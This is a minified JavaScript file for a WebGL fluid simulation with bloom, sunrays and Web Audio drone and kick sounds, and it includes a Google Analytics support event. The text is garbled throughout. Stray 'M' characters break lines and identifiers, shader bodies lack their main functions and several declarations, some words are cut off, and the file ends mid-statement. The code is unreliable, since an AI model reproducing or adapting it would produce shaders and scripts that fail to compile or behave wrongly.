           'use strict';const canvas=document.getElementsByTagName("canvas")[0];resizeCanvas();let config={SIM_RESOLUTION:256,DYE_RESOLUTION:1024,CAPTURE_RESOLUTION:512,DENSITY_DISSIPATION:1,VELOCITY_DISSIPATION:.2,PRESSURE:.2,PRESSURE_ITERATIONS:20,CURL:30,SPLAT_RADIUS:.25,SPLAT_FORCE:6e3,SHADING:!0,COLORFUL:!0,COLOR_UPDATE_SPEED:.1,PAUSED:!1,BACK_COLOR:{r:0,g:0,b:0},TRANSPARENT:!1,BLOOM:!0,BLOOM_ITERATIONS:8,BLOOM_RESOLUTION:256,BLOOM_INTENSITY:.5,BLOOM_THRESHOLD:.6,BLOOM_SOFT_KNEE:.7M
,SUNRAYS:!0,SUNRAYS_RESOLUTION:196,SUNRAYS_WEIGHT:.7};function pointerPrototype(){this.id=-1,this.texcoordX=0,this.texcoordY=0,this.prevTexcoordX=0,this.prevTexcoordY=0,this.deltaX=0,this.deltaY=0,this.down=!1,this.moved=!1,this.color=[30,0,300]}let currentFrame=0,pointers=[],splatStack=[];pointers.push(new pointerPrototype);let animationPointer=new pointerPrototype,animationHue=.5;const maxFrameSkip=160;let frameSkip=160,splatFrequencyReducing=!0;const splatFrequencyIncrement=.1;let timeSinceSplatFrequencyChange=0M
;const startingSplatFrequency=.42857;let splatFrequency=.42857,timeSinceSplat=0;const{gl,ext}=getWebGLContext(canvas),audioContext=new AudioContext;var droneOscillator=audioContext.createOscillator();isMobile()&&(config.DYE_RESOLUTION=1024),ext.supportLinearFiltering||(config.DYE_RESOLUTION=512,config.SHADING=!1,config.BLOOM=!1,config.SUNRAYS=!1);function getWebGLContext(a){const b={alpha:!0,depth:!1,stencil:!1,antialias:!1,preserveDrawingBuffer:!1};let c=a.getContext("webgl2",b);const d=!!c;d||(c=a.getContext("webM
gl",b)||a.getContext("experimental-webgl",b));let e,f;d?(c.getExtension("EXT_color_buffer_float"),f=c.getExtension("OES_texture_float_linear")):(e=c.getExtension("OES_texture_half_float"),f=c.getExtension("OES_texture_half_float_linear")),c.clearColor(0,0,0,1);const g=d?c.HALF_FLOAT:e.HALF_FLOAT_OES;let h,i,j;return d?(h=getSupportedFormat(c,c.RGBA16F,c.RGBA,g),i=getSupportedFormat(c,c.RG16F,c.RG,g),j=getSupportedFormat(c,c.R16F,c.RED,g)):(h=getSupportedFormat(c,c.RGBA,c.RGBA,g),i=getSupportedFormat(c,c.RGBA,c.RGBAM
,g),j=getSupportedFormat(c,c.RGBA,c.RGBA,g)),ga("send","event",d?"webgl2":"webgl",null==h?"not supported":"supported"),{gl:c,ext:{formatRGBA:h,formatRG:i,formatR:j,halfFloatTexType:g,supportLinearFiltering:f}}}function getSupportedFormat(a,b,c,d){return supportRenderTextureFormat(a,b,c,d)?{internalFormat:b,format:c}:b===a.R16F?getSupportedFormat(a,a.RG16F,a.RG,d):b===a.RG16F?getSupportedFormat(a,a.RGBA16F,a.RGBA,d):null}function supportRenderTextureFormat(a,b,c,d){let e=a.createTexture();a.bindTexture(a.TEXTURE_2D,M
e),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),a.texImage2D(a.TEXTURE_2D,0,b,4,4,0,c,d,null);let f=a.createFramebuffer();a.bindFramebuffer(a.FRAMEBUFFER,f),a.framebufferTexture2D(a.FRAMEBUFFER,a.COLOR_ATTACHMENT0,a.TEXTURE_2D,e,0);let g=a.checkFramebufferStatus(a.FRAMEBUFFER);return g==a.FRAMEBUFFER_COMPLETE}functiM
on isMobile(){return /Mobi|Android/i.test(navigator.userAgent)}function clamp01(a){return Math.min(Math.max(a,0),1)}class Material{constructor(a,b){this.vertexShader=a,this.fragmentShaderSource=b,this.programs=[],this.activeProgram=null,this.uniforms=[]}setKeywords(a){let b=0;for(let c=0;c<a.length;c++)b+=hashCode(a[c]);let c=this.programs[b];if(null==c){let d=compileShader(gl.FRAGMENT_SHADER,this.fragmentShaderSource,a);c=createProgram(this.vertexShader,d),this.programs[b]=c}c==this.activeProgram||(this.uniforms=gM
etUniforms(c),this.activeProgram=c)}bind(){gl.useProgram(this.activeProgram)}}class Program{constructor(a,b){this.uniforms={},this.program=createProgram(a,b),this.uniforms=getUniforms(this.program)}bind(){gl.useProgram(this.program)}}function createProgram(a,b){let c=gl.createProgram();return gl.attachShader(c,a),gl.attachShader(c,b),gl.linkProgram(c),gl.getProgramParameter(c,gl.LINK_STATUS)||console.trace(gl.getProgramInfoLog(c)),c}function getUniforms(a){let b=[],c=gl.getProgramParameter(a,gl.ACTIVE_UNIFORMS);forM
(let d,e=0;e<c;e++)d=gl.getActiveUniform(a,e).name,b[d]=gl.getUniformLocation(a,d);return b}function compileShader(a,b,c){b=addKeywords(b,c);const d=gl.createShader(a);return gl.shaderSource(d,b),gl.compileShader(d),gl.getShaderParameter(d,gl.COMPILE_STATUS)||console.trace(gl.getShaderInfoLog(d)),d}function addKeywords(a,b){if(null==b)return a;let c="";return b.forEach(a=>{c+="#define "+a+"\n"}),c+a}const baseVertexShader=compileShader(gl.VERTEX_SHADER,`
    precision highp float;
    attribute vec2 aPosition;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform vec2 texelSize;
        vUv = aPosition * 0.5 + 0.5;
        vL = vUv - vec2(texelSize.x, 0.0);
        vR = vUv + vec2(texelSize.x, 0.0);
        vT = vUv + vec2(0.0, texelSize.y);
        vB = vUv - vec2(0.0, texelSize.y);
        gl_Position = vec4(aPosition, 0.0, 1.0);
`),blurVertexShader=compileShader(gl.VERTEX_SHADER,`
    precision highp float;
    attribute vec2 aPosiM
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    uniform vec2 texelSize;
        vUv = aPosition * 0.5 + 0.5;
        float offset = 1.33333333;
        vL = vUv - texelSize * offset;
        vR = vUv + texelSize * offset;
        gl_Position = vec4(aPosition, 0.0, 1.0);
`),blurShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    uniform sampler2DM
        vec4 sum = texture2D(uTexture, vUv) * 0.29411764;
        sum += texture2D(uTexture, vL) * 0.35294117;
        sum += texture2D(uTexture, vR) * 0.35294117;
        gl_FragColor = sum;
`),copyShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    uniform sampler2D uTexture;
        gl_FragColor = texture2D(uTexture, vUv);
`),clearShader=compileShader(gl.FRAGMENT_SHAM
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    uniform sampler2D uTexture;
    uniform float value;
        gl_FragColor = value * texture2D(uTexture, vUv);
`),colorShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    uniform vec4 color;
        gl_FragColor = color;
`),checkerboardShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    uniform sampler2D uTexture;
    uniform float aspectRatio;
    #define SCALE 25.0
        vec2 uv = floor(vUv * SCALE * vec2(aspectRatio, 1.0));
        float v = mod(uv.x + uv.y, 2.0);
        v = v * 0.1 + 0.8;
        gl_FragColor = vec4(vec3(v), 1.0);
`),displayShaderSource=`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uTextuM
    uniform sampler2D uBloom;
    uniform sampler2D uSunrays;
    uniform sampler2D uDithering;
    uniform vec2 ditherScale;
    uniform vec2 texelSize;
    vec3 linearToGamma (vec3 color) {
        color = max(color, vec3(0));
        return max(1.055 * pow(color, vec3(0.416666667)) - 0.055, vec3(0));
        vec3 c = texture2D(uTexture, vUv).rgb;
        vec3 lc = texture2D(uTexture, vL).rgb;
        vec3 rc = texture2D(uTexture, vR).rgb;
        vec3 tc = textuM
re2D(uTexture, vT).rgb;
        vec3 bc = texture2D(uTexture, vB).rgb;
        float dx = length(rc) - length(lc);
        float dy = length(tc) - length(bc);
        vec3 n = normalize(vec3(dx, dy, length(texelSize)));
        vec3 l = vec3(0.0, 0.0, 1.0);
        float diffuse = clamp(dot(n, l) + 0.7, 0.7, 1.0);
        c *= diffuse;
        vec3 bloom = texture2D(uBloom, vUv).rgb;
        float sunrays = texture2D(uSunrays, vUv).r;
        bloom *= sunrays;
        float noise = texture2D(uDithering, vUv * ditherScale).r;
        noise = noise * 2.0 - 1.0;
        bloom += noise / 255.0;
        bloom = linearToGamma(bloom);
        float a = max(c.r, max(c.g, c.b));
        gl_FragColor = vec4(c, a);
`,bloomPrefilterShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vUv;
 uniform sampler2D uTexture;
    uniform vec3 curve;
    uniform float threshold;
        vec3 c = texture2D(uTexture, vUv).rgb;
        float br = max(c.r, max(c.g, c.b));
        float rq = clamp(br - curve.x, 0.0, curve.y);
        rq = curve.z * rq * rq;
        c *= max(rq, br - threshold) / max(br, 0.0001);
        gl_FragColor = vec4(c, 0.0);
`),bloomBlurShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vL;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uTexture;
        vec4 sum = vec4(0.0);
        sum += texture2D(uTexture, vL);
        sum += texture2D(uTexture, vR);
        sum += texture2D(uTexture, vT);
        sum += texture2D(uTexture, vB);
        sum *= 0.25;
        gl_FragColor = sum;
`),bloomFinalShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vB;
    uniform sampler2D uTexture;
    uniform float intensity;
        vec4 sum = vec4(0.0);
        sum += texture2D(uTexture, vL);
        sum += texture2D(uTexture, vR);
        sum += texture2D(uTexture, vT);
        sum += texture2D(uTexture, vB);
        sum *= 0.25;
        gl_FragColor = sum * intensity;
`),sunraysMaskShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
form sampler2D uTexture;
        vec4 c = texture2D(uTexture, vUv);
        float br = max(c.r, max(c.g, c.b));
        c.a = 1.0 - min(max(br * 20.0, 0.0), 0.8);
        gl_FragColor = c;
`),sunraysShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uTexture;
    uniform float weight;
    #define ITERATIONS 16
        float Density = 0.3;
        float Decay = 0.95;
        vec2 coord = vUv;
        vec2 dir = vUv - 0.5;
        dir *= 1.0 / float(ITERATIONS) * Density;
        float illuminationDecay = 1.0;
        float color = texture2D(uTexture, vUv).a;
        for (int i = 0; i < ITERATIONS; i++)
            coord -= dir;
            float col = texture2D(uTexture, coord).a;
            color += col * illuminationDecay * weight;
            illuminationDecay *= Decay;
        gl_FragColor = vec4(color * Exposure, 0.0, 0.0, 1.0)M
`),splatShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uTarget;
    uniform float aspectRatio;
    uniform vec3 color;
    uniform vec2 point;
    uniform float radius;
        vec2 p = vUv - point.xy;
        p.x *= aspectRatio;
        vec3 splat = exp(-dot(p, p) / radius) * color;
        vec3 base = texture2D(uTarget, vUv).xyz;
        gl_FragColor = vec4(base + splat, 1.0);
ectionShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    uniform sampler2D uVelocity;
    uniform sampler2D uSource;
    uniform vec2 texelSize;
    uniform vec2 dyeTexelSize;
    uniform float dt;
    uniform float dissipation;
    vec4 bilerp (sampler2D sam, vec2 uv, vec2 tsize) {
        vec2 st = uv / tsize - 0.5;
        vec2 iuv = floor(st);
        vec2 fuv = fract(st);
        vec4 a = texture2D(sam, (iuv + vec2(0.5, 0.5)) * tsizM
        vec4 b = texture2D(sam, (iuv + vec2(1.5, 0.5)) * tsize);
        vec4 c = texture2D(sam, (iuv + vec2(0.5, 1.5)) * tsize);
        vec4 d = texture2D(sam, (iuv + vec2(1.5, 1.5)) * tsize);
        return mix(mix(a, b, fuv.x), mix(c, d, fuv.x), fuv.y);
    #ifdef MANUAL_FILTERING
        vec2 coord = vUv - dt * bilerp(uVelocity, vUv, texelSize).xy * texelSize;
        vec4 result = bilerp(uSource, coord, dyeTexelSize);
        vec2 coord = vUv - dt * texture2D(uVelocityM
, vUv).xy * texelSize;
        vec4 result = texture2D(uSource, coord);
        float decay = 1.0 + dissipation * dt;
        gl_FragColor = result / decay;
    }`,ext.supportLinearFiltering?null:["MANUAL_FILTERING"]),divergenceShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uVelocity;
        float L = texture2D(uVelocity, vL).x;
        float R = texture2D(uVelocity, vR).x;
        float T = texture2D(uVelocity, vT).y;
        float B = texture2D(uVelocity, vB).y;
        vec2 C = texture2D(uVelocity, vUv).xy;
        if (vL.x < 0.0) { L = -C.x; }
        if (vR.x > 1.0) { R = -C.x; }
        if (vT.y > 1.0) { T = -C.y; }
        if (vB.y < 0.0) { B = -C.y; }
        float div = 0.5 * (R - L + T - B);
        gl_FragColor = vec4(div, 0.0, 0.0, 1.0);
`),curlShader=compileShaM
der(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uVelocity;
        float L = texture2D(uVelocity, vL).y;
        float R = texture2D(uVelocity, vR).y;
        float T = texture2D(uVelocity, vT).x;
        float B = texture2D(uVelocity, vB).x;
        float vorticity = R - L - T + B;
or = vec4(0.5 * vorticity, 0.0, 0.0, 1.0);
`),vorticityShader=compileShader(gl.FRAGMENT_SHADER,`
    precision highp float;
    precision highp sampler2D;
    varying vec2 vUv;
    varying vec2 vL;
    varying vec2 vR;
    varying vec2 vT;
    varying vec2 vB;
    uniform sampler2D uVelocity;
    uniform sampler2D uCurl;
    uniform float curl;
    uniform float dt;
        float L = texture2D(uCurl, vL).x;
        float R = texture2D(uCurl, vR).x;
        float T = texture2D(uCurl, vT).xM
        float B = texture2D(uCurl, vB).x;
        float C = texture2D(uCurl, vUv).x;
        vec2 force = 0.5 * vec2(abs(T) - abs(B), abs(R) - abs(L));
        force /= length(force) + 0.0001;
        force *= curl * C;
        force.y *= -1.0;
        vec2 velocity = texture2D(uVelocity, vUv).xy;
        velocity += force * dt;
        velocity = min(max(velocity, -1000.0), 1000.0);
        gl_FragColor = vec4(velocity, 0.0, 1.0);
`),pressureShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediumpM
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uPressure;
    uniform sampler2D uDivergence;
        float L = texture2D(uPressure, vL).x;
        float R = texture2D(uPressure, vR).x;
        float T = texture2D(uPressure, vT).x;
        float B = texture2D(uPressure, vB).x;
        float C = texture2D(uPressure, vUv).x;
        float divergencM
e = texture2D(uDivergence, vUv).x;
        float pressure = (L + R + B + T - divergence) * 0.25;
        gl_FragColor = vec4(pressure, 0.0, 0.0, 1.0);
`),gradientSubtractShader=compileShader(gl.FRAGMENT_SHADER,`
    precision mediump float;
    precision mediump sampler2D;
    varying highp vec2 vUv;
    varying highp vec2 vL;
    varying highp vec2 vR;
    varying highp vec2 vT;
    varying highp vec2 vB;
    uniform sampler2D uPressure;
    uniform sampler2D uVelocity;
 texture2D(uPressure, vL).x;
        float R = texture2D(uPressure, vR).x;
        float T = texture2D(uPressure, vT).x;
        float B = texture2D(uPressure, vB).x;
        vec2 velocity = texture2D(uVelocity, vUv).xy;
        velocity.xy -= vec2(R - L, T - B);
        gl_FragColor = vec4(velocity, 0.0, 1.0);
`),blit=(()=>(gl.bindBuffer(gl.ARRAY_BUFFER,gl.createBuffer()),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,-1,1,1,1,1,-1]),gl.STATIC_DRAW),gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER,gl.createBuffeM
r()),gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,new Uint16Array([0,1,2,0,2,3]),gl.STATIC_DRAW),gl.vertexAttribPointer(0,2,gl.FLOAT,!1,0,0),gl.enableVertexAttribArray(0),(a,b=!1)=>{null==a?(gl.viewport(0,0,gl.drawingBufferWidth,gl.drawingBufferHeight),gl.bindFramebuffer(gl.FRAMEBUFFER,null)):(gl.viewport(0,0,a.width,a.height),gl.bindFramebuffer(gl.FRAMEBUFFER,a.fbo)),b&&(gl.clearColor(0,0,0,1),gl.clear(gl.COLOR_BUFFER_BIT)),gl.drawElements(gl.TRIANGLES,6,gl.UNSIGNED_SHORT,0)}))();function CHECK_FRAMEBUFFER_STATUS(){let aM
=gl.checkFramebufferStatus(gl.FRAMEBUFFER);a!=gl.FRAMEBUFFER_COMPLETE&&console.trace("Framebuffer error: "+a)}let dye,velocity,divergence,curl,pressure,bloom,sunrays,sunraysTemp,bloomFramebuffers=[],ditheringTexture=null;const blurProgram=new Program(blurVertexShader,blurShader),copyProgram=new Program(baseVertexShader,copyShader),clearProgram=new Program(baseVertexShader,clearShader),colorProgram=new Program(baseVertexShader,colorShader),checkerboardProgram=new Program(baseVertexShader,checkerboardShader),bloomPreM
filterProgram=new Program(baseVertexShader,bloomPrefilterShader),bloomBlurProgram=new Program(baseVertexShader,bloomBlurShader),bloomFinalProgram=new Program(baseVertexShader,bloomFinalShader),sunraysMaskProgram=new Program(baseVertexShader,sunraysMaskShader),sunraysProgram=new Program(baseVertexShader,sunraysShader),splatProgram=new Program(baseVertexShader,splatShader),advectionProgram=new Program(baseVertexShader,advectionShader),divergenceProgram=new Program(baseVertexShader,divergenceShader),curlProgram=new PrM
ogram(baseVertexShader,curlShader),vorticityProgram=new Program(baseVertexShader,vorticityShader),pressureProgram=new Program(baseVertexShader,pressureShader),gradienSubtractProgram=new Program(baseVertexShader,gradientSubtractShader),displayMaterial=new Material(baseVertexShader,displayShaderSource);function initFramebuffers(){let a=getResolution(config.SIM_RESOLUTION),b=getResolution(config.DYE_RESOLUTION);const c=ext.halfFloatTexType,d=ext.formatRGBA,e=ext.formatRG,f=ext.formatR,g=ext.supportLinearFiltering?gl.LM
INEAR:gl.NEAREST;gl.disable(gl.BLEND),dye=null==dye?createDoubleFBO(b.width,b.height,d.internalFormat,d.format,c,g):resizeDoubleFBO(dye,b.width,b.height,d.internalFormat,d.format,c,g),velocity=null==velocity?createDoubleFBO(a.width,a.height,e.internalFormat,e.format,c,g):resizeDoubleFBO(velocity,a.width,a.height,e.internalFormat,e.format,c,g),divergence=createFBO(a.width,a.height,f.internalFormat,f.format,c,gl.NEAREST),curl=createFBO(a.width,a.height,f.internalFormat,f.format,c,gl.NEAREST),pressure=createDoubleFBO(M
a.width,a.height,f.internalFormat,f.format,c,gl.NEAREST),initBloomFramebuffers(),initSunraysFramebuffers()}function initBloomFramebuffers(){let a=getResolution(config.BLOOM_RESOLUTION);const b=ext.halfFloatTexType,c=ext.formatRGBA,d=ext.supportLinearFiltering?gl.LINEAR:gl.NEAREST;bloom=createFBO(a.width,a.height,c.internalFormat,c.format,b,d),bloomFramebuffers.length=0;for(let e=0;e<config.BLOOM_ITERATIONS;e++){let f=a.width>>e+1,g=a.height>>e+1;if(2>f||2>g)break;let h=createFBO(f,g,c.internalFormat,c.format,b,d);bM
loomFramebuffers.push(h)}}function initSunraysFramebuffers(){let a=getResolution(config.SUNRAYS_RESOLUTION);const b=ext.halfFloatTexType,c=ext.formatR,d=ext.supportLinearFiltering?gl.LINEAR:gl.NEAREST;sunrays=createFBO(a.width,a.height,c.internalFormat,c.format,b,d),sunraysTemp=createFBO(a.width,a.height,c.internalFormat,c.format,b,d)}function createFBO(a,b,c,d,e,f){gl.activeTexture(gl.TEXTURE0);let g=gl.createTexture();gl.bindTexture(gl.TEXTURE_2D,g),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,f),gl.texPaM
rameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,f),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texImage2D(gl.TEXTURE_2D,0,c,a,b,0,d,e,null);let h=gl.createFramebuffer();gl.bindFramebuffer(gl.FRAMEBUFFER,h),gl.framebufferTexture2D(gl.FRAMEBUFFER,gl.COLOR_ATTACHMENT0,gl.TEXTURE_2D,g,0),gl.viewport(0,0,a,b),gl.clear(gl.COLOR_BUFFER_BIT);return{texture:g,fbo:h,width:a,height:b,texelSizeX:1/a,texelSizeY:1/b,attach(a){return gl.actiM
veTexture(gl.TEXTURE0+a),gl.bindTexture(gl.TEXTURE_2D,g),a}}}function createDoubleFBO(a,b,c,d,e,f){let g=createFBO(a,b,c,d,e,f),h=createFBO(a,b,c,d,e,f);return{width:a,height:b,texelSizeX:g.texelSizeX,texelSizeY:g.texelSizeY,get read(){return g},set read(a){g=a},get write(){return h},set write(a){h=a},swap(){let a=g;g=h,h=a}}}function resizeFBO(a,b,c,d,e,f,g){let h=createFBO(b,c,d,e,f,g);return copyProgram.bind(),gl.uniform1i(copyProgram.uniforms.uTexture,a.attach(0)),blit(h),h}function resizeDoubleFBO(a,b,c,d,e,f,M
g){return a.width==b&&a.height==c?a:(a.read=resizeFBO(a.read,b,c,d,e,f,g),a.write=createFBO(b,c,d,e,f,g),a.width=b,a.height=c,a.texelSizeX=1/b,a.texelSizeY=1/c,a)}function createTextureAsync(a){let b=gl.createTexture();gl.bindTexture(gl.TEXTURE_2D,b),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.LINEAR),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.LINEAR),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.REPEAT),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.REPEAT),gl.texImage2D(gl.TEXTM
URE_2D,0,gl.RGB,1,1,0,gl.RGB,gl.UNSIGNED_BYTE,new Uint8Array([255,255,255]));let c={texture:b,width:1,height:1,attach(a){return gl.activeTexture(gl.TEXTURE0+a),gl.bindTexture(gl.TEXTURE_2D,b),a}},d=new Image;return d.onload=()=>{c.width=d.width,c.height=d.height,gl.bindTexture(gl.TEXTURE_2D,b),gl.texImage2D(gl.TEXTURE_2D,0,gl.RGB,gl.RGB,gl.UNSIGNED_BYTE,d)},d.src=a,c}function initAudio(){console.log(audioContext.sampleRate),console.log(audioContext.destination.channelCount),droneOscillator.frequency.value=40,droneOM
scillator.type="sine";var a=audioContext.createGain();droneOscillator.connect(a),a.connect(audioContext.destination);var b=audioContext.currentTime;a.gain.setValueAtTime(.05,b),droneOscillator.start(0)}function kick(){var a=audioContext.createOscillator(),b=audioContext.createOscillator(),c=audioContext.createGain(),d=audioContext.createGain();a.type="triangle",b.type="sine",c.gain.setValueAtTime(1,audioContext.currentTime),c.gain.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),d.gain.setValueAtTime(M
1,audioContext.currentTime),d.gain.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),a.frequency.setValueAtTime(90,audioContext.currentTime),a.frequency.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),b.frequency.setValueAtTime(20,audioContext.currentTime),b.frequency.exponentialRampToValueAtTime(.001,audioContext.currentTime+.5),a.connect(c),b.connect(d),c.connect(audioContext.destination),d.connect(audioContext.destination),b.start(audioContext.currentTime),b.stop(audioContext.currentTM
ime+.5)}function updateKeywords(){let a=[];config.SHADING&&a.push("SHADING"),config.BLOOM&&a.push("BLOOM"),config.SUNRAYS&&a.push("SUNRAYS"),displayMaterial.setKeywords(a)}updateKeywords(),initFramebuffers(),initAudio();let lastUpdateTime=Date.now(),colorUpdateTimer=0;update();function update(){const a=calcDeltaTime();resizeCanvas()&&initFramebuffers(),updateColors(a),applyAnimation(a),applyInputs(),config.PAUSED||step(a),render(null),requestAnimationFrame(update)}function calcDeltaTime(){let a=Date.now(),b=(a-lastM
UpdateTime)/1e3;return b=Math.min(b,.016666),lastUpdateTime=a,b}function resizeCanvas(){let a=scaleByPixelRatio(canvas.clientWidth),b=scaleByPixelRatio(canvas.clientHeight);return!(canvas.width==a&&canvas.height==b)&&(canvas.width=a,canvas.height=b,!0)}function updateColors(a){config.COLORFUL&&(colorUpdateTimer+=a*config.COLOR_UPDATE_SPEED,1<=colorUpdateTimer&&(colorUpdateTimer=wrap(colorUpdateTimer,0,1),pointers.forEach(a=>{a.color=generateColor()})))}function applyInputs(){0<splatStack.length&&multipleSplats(splaM
tStack.pop()),pointers.forEach(a=>{a.moved&&(a.moved=!1,console.log(a),splatPointer(a))})}function applyAnimation(a){timeSinceSplat+=a,timeSinceSplat>=splatFrequency&&(performSplat(a),kick(),timeSinceSplat=0,console.log("Splat Frequency: "+splatFrequency),console.log("Time since Splat Frequency Change: "+timeSinceSplatFrequencyChange),splatFrequencyReducing?0<splatFrequency?(droneOscillator.frequency.value+=.33,timeSinceSplatFrequencyChange>=splatFrequency?(splatFrequency-=splatFrequencyIncrement,timeSinceSplatFreqM
uencyChange=0):timeSinceSplatFrequencyChange+=a):splatFrequencyReducing=!1:splatFrequency<startingSplatFrequency?(droneOscillator.frequency.value-=.33,timeSinceSplatFrequencyChange>=splatFrequency?(splatFrequency+=splatFrequencyIncrement,timeSinceSplatFrequencyChange=0):timeSinceSplatFrequencyChange+=a):splatFrequencyReducing=!0)}function performSplat(){let a=animationHue+=config.COLOR_UPDATE_SPEED;1<=animationHue&&(animationHue=0);const b=generateColorFromHue(a);b.r*=10,b.g*=10,b.b*=10;const c=.5+.1*Math.sin(curreM
ntFrame),d=.5+.1*Math.cos(currentFrame),e=250*Math.sin(currentFrame),f=250*Math.cos(currentFrame);splat(c,d,e,f,b)}function step(a){gl.disable(gl.BLEND),curlProgram.bind(),gl.uniform2f(curlProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(curlProgram.uniforms.uVelocity,velocity.read.attach(0)),blit(curl),vorticityProgram.bind(),gl.uniform2f(vorticityProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(vorticityProgram.uniforms.uVelocity,velocity.read.attachM
(0)),gl.uniform1i(vorticityProgram.uniforms.uCurl,curl.attach(1)),gl.uniform1f(vorticityProgram.uniforms.curl,config.CURL),gl.uniform1f(vorticityProgram.uniforms.dt,a),blit(velocity.write),velocity.swap(),divergenceProgram.bind(),gl.uniform2f(divergenceProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(divergenceProgram.uniforms.uVelocity,velocity.read.attach(0)),blit(divergence),clearProgram.bind(),gl.uniform1i(clearProgram.uniforms.uTexture,pressure.read.attach(0)),gl.uniform1f(clearM
Program.uniforms.value,config.PRESSURE),blit(pressure.write),pressure.swap(),pressureProgram.bind(),gl.uniform2f(pressureProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),gl.uniform1i(pressureProgram.uniforms.uDivergence,divergence.attach(0));for(let b=0;b<config.PRESSURE_ITERATIONS;b++)gl.uniform1i(pressureProgram.uniforms.uPressure,pressure.read.attach(1)),blit(pressure.write),pressure.swap();gradienSubtractProgram.bind(),gl.uniform2f(gradienSubtractProgram.uniforms.texelSize,velocity.texelSizeXM
,velocity.texelSizeY),gl.uniform1i(gradienSubtractProgram.uniforms.uPressure,pressure.read.attach(0)),gl.uniform1i(gradienSubtractProgram.uniforms.uVelocity,velocity.read.attach(1)),blit(velocity.write),velocity.swap(),advectionProgram.bind(),gl.uniform2f(advectionProgram.uniforms.texelSize,velocity.texelSizeX,velocity.texelSizeY),ext.supportLinearFiltering||gl.uniform2f(advectionProgram.uniforms.dyeTexelSize,velocity.texelSizeX,velocity.texelSizeY);let b=velocity.read.attach(0);gl.uniform1i(advectionProgram.uniforM
ms.uVelocity,b),gl.uniform1i(advectionProgram.uniforms.uSource,b),gl.uniform1f(advectionProgram.uniforms.dt,a),gl.uniform1f(advectionProgram.uniforms.dissipation,config.VELOCITY_DISSIPATION),blit(velocity.write),velocity.swap(),ext.supportLinearFiltering||gl.uniform2f(advectionProgram.uniforms.dyeTexelSize,dye.texelSizeX,dye.texelSizeY),gl.uniform1i(advectionProgram.uniforms.uVelocity,velocity.read.attach(0)),gl.uniform1i(advectionProgram.uniforms.uSource,dye.read.attach(1)),gl.uniform1f(advectionProgram.uniforms.dM
